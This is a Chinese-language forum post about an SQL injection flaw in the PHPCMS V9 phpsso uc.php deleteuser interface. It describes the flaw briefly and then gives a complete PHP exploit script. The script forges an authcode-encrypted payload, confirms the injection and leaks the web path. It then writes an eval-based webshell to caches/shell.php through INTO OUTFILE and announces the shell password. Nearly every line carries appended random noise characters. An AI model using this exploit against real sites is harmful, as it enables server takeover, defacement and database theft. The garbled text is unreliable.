PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。$ z) K( n5 F4 u' W6 U: G* Z) `
8 e- ^8 F5 W: z( W% l* P) G# H所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。: M* u! G1 f" h
2 T7 q$ @" X' P漏洞分析:6 w. ~8 k. N1 U% A2 T: w8 b) P+ T
1.未启用ucenter服务的情况下uc_key为空
: w- J; K! ~7 ?7 a" }0 u- }define('UC_KEY', pc_base::load_config('system', 'uc_key'));1 I1 ^. g, l: b, k1 k
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
0 c. g z7 x5 K) s9 N% B public function deleteuser($get,$post) {
* n9 l7 {' V. e. Q# N9 k6 h* Q pc_base::load_app_func('global', 'admin');
) z5 s; V3 h9 e b pc_base::load_app_class('messagequeue', 'admin' , 0);
/ u; L! b# l, k% J* M7 l% U' W $ids = new_stripslashes($get['ids']);
- |! P3 g$ \: |! r $s = $this->member_db->select("ucuserid in ($ids)", "uid");
# M, h2 p0 @2 p4 P6 rSQL语句为
/ _" z0 A+ Y1 @5 f4 a, Z/ zSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)! ~9 z' M9 s3 N2 i: o1 A
1 V4 e& }( s% S3 h% }; u/ f% b
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell7 [5 {% Q6 A6 X
<?php; S) O) Q' G/ W# t" G1 H# |6 e
print_r('9 C2 n* @+ k# M7 {. v, U8 N
---------------------------------------------------------------------------: U% }) G; O5 y
PHPcms (v9 or Old Version) uc api sql injection 0day+ Q2 Q9 K8 k9 R( n
by rayh4c#80sec.com& _: p' ~5 _/ a# n- d" j- N3 w
---------------------------------------------------------------------------' Q. _3 E" c. A1 i; G) ~" A
');; P! X! d7 X, w: ?& k+ M4 a
* I( @' @2 v, G1 Q+ i
if ($argc<3) {
% ?; ?9 y* h& d/ R' @; o0 b print_r('/ w) U" y* ]# E. Y
---------------------------------------------------------------------------
+ C" O+ }- }+ uUsage: php '.$argv[0].' host path OPTIONS
8 w+ U2 p7 a# f! n# |host: target server (ip/hostname)
" g- P- y4 h) ?/ U! H9 apath: path to phpcms: N4 Z' }3 T- t( _
Options:
3 u) z1 L5 c, n5 D9 b$ y0 l -p[port]: specify a port other than 804 P5 C% X. c c( i- H0 S! z
-P[ip:port]: specify a proxy
& ]0 m9 n8 H- ^Example:
; i, z3 X s1 S5 mphp '.$argv[0].' localhost /
9 \+ B" ]/ }, V" G8 \+ fphp '.$argv[0].' localhost /phpcms/ -p81& E& ~, @1 f( i+ P. ~2 G
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
( P4 k/ Q: a8 m; U/ M---------------------------------------------------------------------------
7 ]8 o7 c/ y" Y V/ d');
2 ~! A+ u2 l3 @* u2 o die;5 m% S5 Z7 B( V5 O0 D
}
9 J3 b' w; b5 E8 C7 \2 ~( q* z; ~
error_reporting(7);
" |6 v% l* D( c8 I) ]: q6 Jini_set("max_execution_time",0);& T4 c% Z# y0 J$ N7 j
ini_set("default_socket_timeout",5);! v$ P0 y+ v5 w# g' z. s* q" v8 H
" }8 Z k- F3 k4 B3 D5 n/ N
function quick_dump($string)& A& X \$ v5 J: h- [ g. t
{. W: a1 K0 G" Y# B. r' s' T8 c
$result='';$exa='';$cont=0;
, X, U% M# J8 q% ]" h. Z; G( w for ($i=0; $i<=strlen($string)-1; $i++)! r0 C& I, p; @" G5 `
{
" m2 n, ]) a1 A- L- c- q if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
2 B t. j. Y3 ^' [1 [ {$result.=" .";}
* ]1 V) X/ W" c, v2 v+ Y+ t else
5 o0 \4 H& U6 _6 p- y {$result.=" ".$string[$i];}
& g) a0 F, J! M, \0 ]: i. ? if (strlen(dechex(ord($string[$i])))==2)( r: e0 W: j; E/ z& P G# e2 {6 |' d
{$exa.=" ".dechex(ord($string[$i]));}+ z `; D5 L& d, ]- K
else" ^$ m4 n9 `6 }% s3 K
{$exa.=" 0".dechex(ord($string[$i]));}( ]3 o" b3 g$ L8 R8 j# Y8 D
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
* K9 ~* Y* P2 B2 ~* @ }- r/ n! I0 I1 @4 ]9 a
return $exa."\r\n".$result;
6 J9 [0 x( M% r! o) [}$ K/ c1 \1 E& v; o4 c
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
Y/ F. J5 V ^0 ^" h9 c% ~% h& L( z
function send($packet)- y) @ X: F( `3 h
{# d) q9 Q5 |) N: W
global $proxy, $host, $port, $html, $proxy_regex;7 s! M+ v2 X# N% W. {) t, E
if ($proxy=='') {
/ `3 B7 N: @2 A5 u1 ^ $ock=fsockopen(gethostbyname($host),$port);) B s- g( D. v0 |! Z: `8 L% j1 q5 _
if (!$ock) {3 e2 t. t- Q8 P8 H e- m2 f, U
echo 'No response from '.$host.':'.$port; die;
0 f: k. F6 j! D }6 _" s+ n$ K, S- L/ ^' j4 q
}
! R- E5 y u3 a/ n else {* ^$ k& V- f5 y* R* N
$c = preg_match($proxy_regex,$proxy);
, L) g5 z* n6 e( r( n* C1 d if (!$c) { K1 [) e( T, s0 I" U! T
echo 'Not a valid proxy...';die;2 m7 K7 I! d; S3 ?
}1 M& o6 T* j( J. B, A
$parts=explode(':',$proxy);
1 B0 p, \/ _ U5 Y $parts[1]=(int)$parts[1];$ M$ B, h. {: J+ W: G
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
, g+ X( m% T# g+ L& H0 _9 Q' G $ock=fsockopen($parts[0],$parts[1]);
' s2 r3 w, {% k6 e$ N' c if (!$ock) {) i" Z2 v6 e& \. L
echo 'No response from proxy...';die;. _! X) b, S% K4 O2 v- R
}
# G1 L8 L8 `! `9 b- X2 E }
6 ]$ Z- G' n8 ]+ Q fputs($ock,$packet);9 U3 z2 t; f: Y. T
if ($proxy=='') {0 B- D9 Y9 t5 @* T
$html='';2 Y' z& H& N5 G5 Y3 U* m. Q
while (!feof($ock)) {
$ g$ k. H! w3 Q1 ]% X$ {) k6 e- k $html.=fgets($ock);
8 D9 w$ \! j# P& z }
6 s# G" W7 b( W% j2 ^# H3 m }6 f# B9 ?2 S+ \ W
else {+ N; S; I/ `/ ^4 n
$html='';
* N6 o. X' _! ~/ k while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
( e w S+ M: Z* s3 w' G $html.=fread($ock,1);
- C5 F) Y4 @- `4 p+ I1 G( q }( R6 ?! { |; K4 e) V
}
) p! q( X: K) M; ]8 R4 L fclose($ock);( N& J: K- O7 ^ v7 f% S
}- _5 Y! v1 T9 V
# d& }5 T2 y$ A
$host=$argv[1];& T( z; ~7 w; n4 m$ [$ D
$path=$argv[2];
9 q$ o' ^- d3 X# m( c$port=80;
$ S; H/ r: M4 {3 S3 F$proxy="";
3 V2 x6 h( l* t2 sfor ($i=3; $i<$argc; $i++){5 ]( d# V N3 E$ W2 e
$temp=$argv[$i][0].$argv[$i][1];
, v8 K% k6 O! t1 m S5 a) v" uif ($temp=="-p")0 s' f1 l; j" c: H/ x: h3 K2 T2 r
{
. S b1 l0 o4 ]/ T $port=(int)str_replace("-p","",$argv[$i]);6 b6 C z1 U- _+ t
}. T( Q6 R0 e# _# }
if ($temp=="-P")
+ _- c6 Q+ f0 I( ^+ z2 L% d{9 S9 C. y2 I, i7 Y$ o% ~) M( ^0 m
$proxy=str_replace("-P","",$argv[$i]);
' n$ a) B: F) \' o4 ^# _}( L9 [& w" c& |& v. \/ p
}% ?: _- e# R0 ~) B+ m2 X* L
) H1 n; z# h( P8 c2 K
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}5 w( Q3 B5 Y$ n% X- {& G1 ]
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
- n8 Z. y% ?3 F4 d( X. }( o& M" l3 j2 s& V* H3 x2 D _
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
! p% X% T, q7 t: D s% ]9 ^& |. A2 t2 ]) p# d( U1 E y
$ckey_length = 4;
! ? q6 \2 Q2 k7 S
9 N# k. g6 H8 V# ~2 R $key = md5($key ? $key : '');
6 o# c# |4 F C $keya = md5(substr($key, 0, 16));
6 U \% b6 g; I: m$ r( w $keyb = md5(substr($key, 16, 16));
& n2 n* |% C% b( z' f% r $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';+ P f) j, Y8 q7 b& d5 S' _
! X9 U. a' Y5 r9 S $cryptkey = $keya.md5($keya.$keyc);* Q9 K0 L1 C# w0 q. l
$key_length = strlen($cryptkey);
$ E) b' W3 H2 q. A: f
0 H# \$ \+ m: d/ F2 E Q) W, H $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
- s3 r; G; K# V' x9 L- A $string_length = strlen($string); N8 p& ?; K5 H" x
' @. E" n* c% d3 W6 `
$result = '';( a: D0 }" O" ~6 s# `
$box = range(0, 255);
3 w- w% g2 _, H$ c7 z
4 I* G7 G% d3 i4 r; U $rndkey = array();; W; X& _0 @. ^4 f8 C/ v
for($i = 0; $i <= 255; $i++) {
' |1 F. { Z m $rndkey[$i] = ord($cryptkey[$i % $key_length]);
) @2 a* V' `" _; @ }# \0 y! e* l8 S Q: y( l
) }3 A8 {4 p6 w) Q for($j = $i = 0; $i < 256; $i++) {
$ ^* J* m+ E2 v! M2 S2 \: [% B. x $j = ($j + $box[$i] + $rndkey[$i]) % 256;
! |/ n5 w. M) S $tmp = $box[$i];
) I U) b5 ?7 O4 D+ | $box[$i] = $box[$j];
2 l9 z5 a* ^1 V; j& F0 B $box[$j] = $tmp;
1 [( w! |+ ^" r1 I+ n }
7 n1 H1 K3 ^2 S/ v
/ [ Z; D: j" w% _& { for($a = $j = $i = 0; $i < $string_length; $i++) {6 \( K/ Z. Z V$ V
$a = ($a + 1) % 256;- r) o9 k. ]; b' W7 S& l( l
$j = ($j + $box[$a]) % 256; ]+ w8 A! h. ]3 X8 g! D
$tmp = $box[$a];
' t$ A! N/ c3 \/ ?6 ` $box[$a] = $box[$j];5 m5 h- M6 P1 W( L# S! E
$box[$j] = $tmp;
0 b( }7 z7 N8 D' O" `8 t $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
" W3 M5 b( y, l! G* T. K3 _ }% b0 z6 y& @0 d2 I6 |, n
0 F& F, {( I) y: G
if($operation == 'DECODE') {
& F" N; a; |2 T- \/ h( n9 W if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {! B% S. R# }: A+ ]) m% ~0 u
return substr($result, 26);4 e8 [ z/ c) M3 K; t
} else {$ u. ?. w* W. V/ m/ d' v
return '';
7 W) a. B. z) O3 Z }( c' S& _5 k+ T
} else {, v- U1 @0 G/ G- Z( A& P
return $keyc.str_replace('=', '', base64_encode($result));
, Q8 E. D( I0 H: m5 x8 B }* P& l9 u: ]" B4 [1 d2 A
. t' u" m+ t& j: h9 ?0 y- J0 I
}
) a. G5 ^* }) j7 X/ H: m% w( U0 }9 \' _' I
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
4 R4 K- } V8 p% `1 k P* i& n$SQL = urlencode(authcode($SQL, "ENCODE", ""));9 @7 } ~) d. |; \; A! U- Y
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";. B1 j) |) h, O8 t% p( ]$ j
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";4 ~; H3 e+ q* S' u
$packet.="User-Agent: Mozilla/5.0\r\n";' M3 P$ S. V! D w: x: O+ h+ }" k9 d( Q
$packet.="Host: ".$host."\r\n";6 n) ~% I( R( S2 x. P1 y
$packet.="Connection: Close\r\n\r\n"; ^" r9 [1 h5 \) a
send($packet);# V# c+ [2 l+ T! u6 N. S& n
if(strpos($html,"MySQL Errno") > 0){% q4 R2 T% W: T+ S3 S+ G# O" E+ E, b
echo "[2] 发现存在SQL注入漏洞"."\n";
/ G$ p) C, |' j. T" K) Qecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";' \) w/ _' r: C7 q
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
" v) v k4 x4 O$packet.="User-Agent: Mozilla/5.0\r\n";
' m* \- P6 R; U( x* _3 k$packet.="Host: ".$host."\r\n";# X/ a5 p( V6 E# T8 E! g
$packet.="Connection: Close\r\n\r\n";
! G3 b1 r' T$ F) `, e9 i# n: tsend($packet);6 T# Y" L a6 d: o' z
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
" U3 V e5 ~4 v( a b+ W* C//print_r($matches); r# g% F! K2 D$ s3 k" |6 x0 `4 E
if(!empty($matches)){* }( ]$ b1 o4 z( Y
echo "[4] 得到web路径 " . $matches[0]."\n";
$ \6 \$ e( o& D4 Mecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
" U) r* b: G7 F9 t Y* ^7 B% r$SQL = "time=999999999999999999999999&ids=1)";0 c, I: n' {8 ?
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
# m0 I- w e4 X$ ?; N$SQL.="&action=deleteuser";
: @' O' ^; D4 p# ~3 ^$SQL = urlencode(authcode($SQL, "ENCODE", ""));
+ S& S9 }( t- Fecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";5 E. _+ J3 `2 W/ \) E1 N& j! C
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";7 L( Z& j3 |$ @7 e
$packet.="User-Agent: Mozilla/5.0\r\n";
( a, t; q' \0 Y E* u4 f6 m; L. r$packet.="Host: ".$host."\r\n";4 c3 \2 n) r& J! ~% W8 `1 Q9 ?
$packet.="Connection: Close\r\n\r\n";* a" I2 @' c7 `# w/ ?. x$ v" X& O
send($packet);. ]" @6 } n- D0 ~$ V9 I1 [" w
if(strpos($html,"Access denied") > 0){" e9 V8 I) q2 } G" X
echo "[-] MYSQL权限过低 禁止写入文件 ";
0 _5 y; A M; u2 ^& D) b% w+ A+ _* |7 I" Ydie;( B: c6 S% ?; P+ z3 I# {' C" i. i \
}
1 J4 f+ S% R+ U! Iecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
/ S8 h1 d. g+ _6 ]" l$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";# ?: z2 E' x: I/ j2 z
$packet.="User-Agent: Mozilla/5.0\r\n";4 x2 H! D# X4 ~1 g
$packet.="Host: ".$host."\r\n";
; [- P+ @# I) g& L" ~4 m2 e3 Z, Q$ v$packet.="Connection: Close\r\n\r\n";1 q: [" | L8 F
send($packet);3 Z# K) S9 x* V8 r
if(strpos($html,"<title>phpinfo()</title>") > 0){; }8 I7 w- g/ C2 w# G1 m' u' c
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";- G, Z! f% u0 ?$ @" @+ ]& _
}
- k; Z: P2 B% s3 B4 P$ S}else{! [ w+ ], ^2 O) `% u# |
echo "[-]未取到web路径 ";; a8 I0 u4 @, K! z. J2 f0 @, @, f' q
}( ~; w4 d/ v) u# J( P/ i- s
}else{
$ K2 F+ Q) V+ e( x* D8 gecho "[*]不存在SQL注入漏洞"."\n";9 S7 Y3 x) `( \% f& C: a8 {
}6 H1 e; o2 Q: c$ T2 ]4 D! D1 a
* C [: \ ^6 n& e0 E
?>
- O8 Y* {1 L2 |, K% H |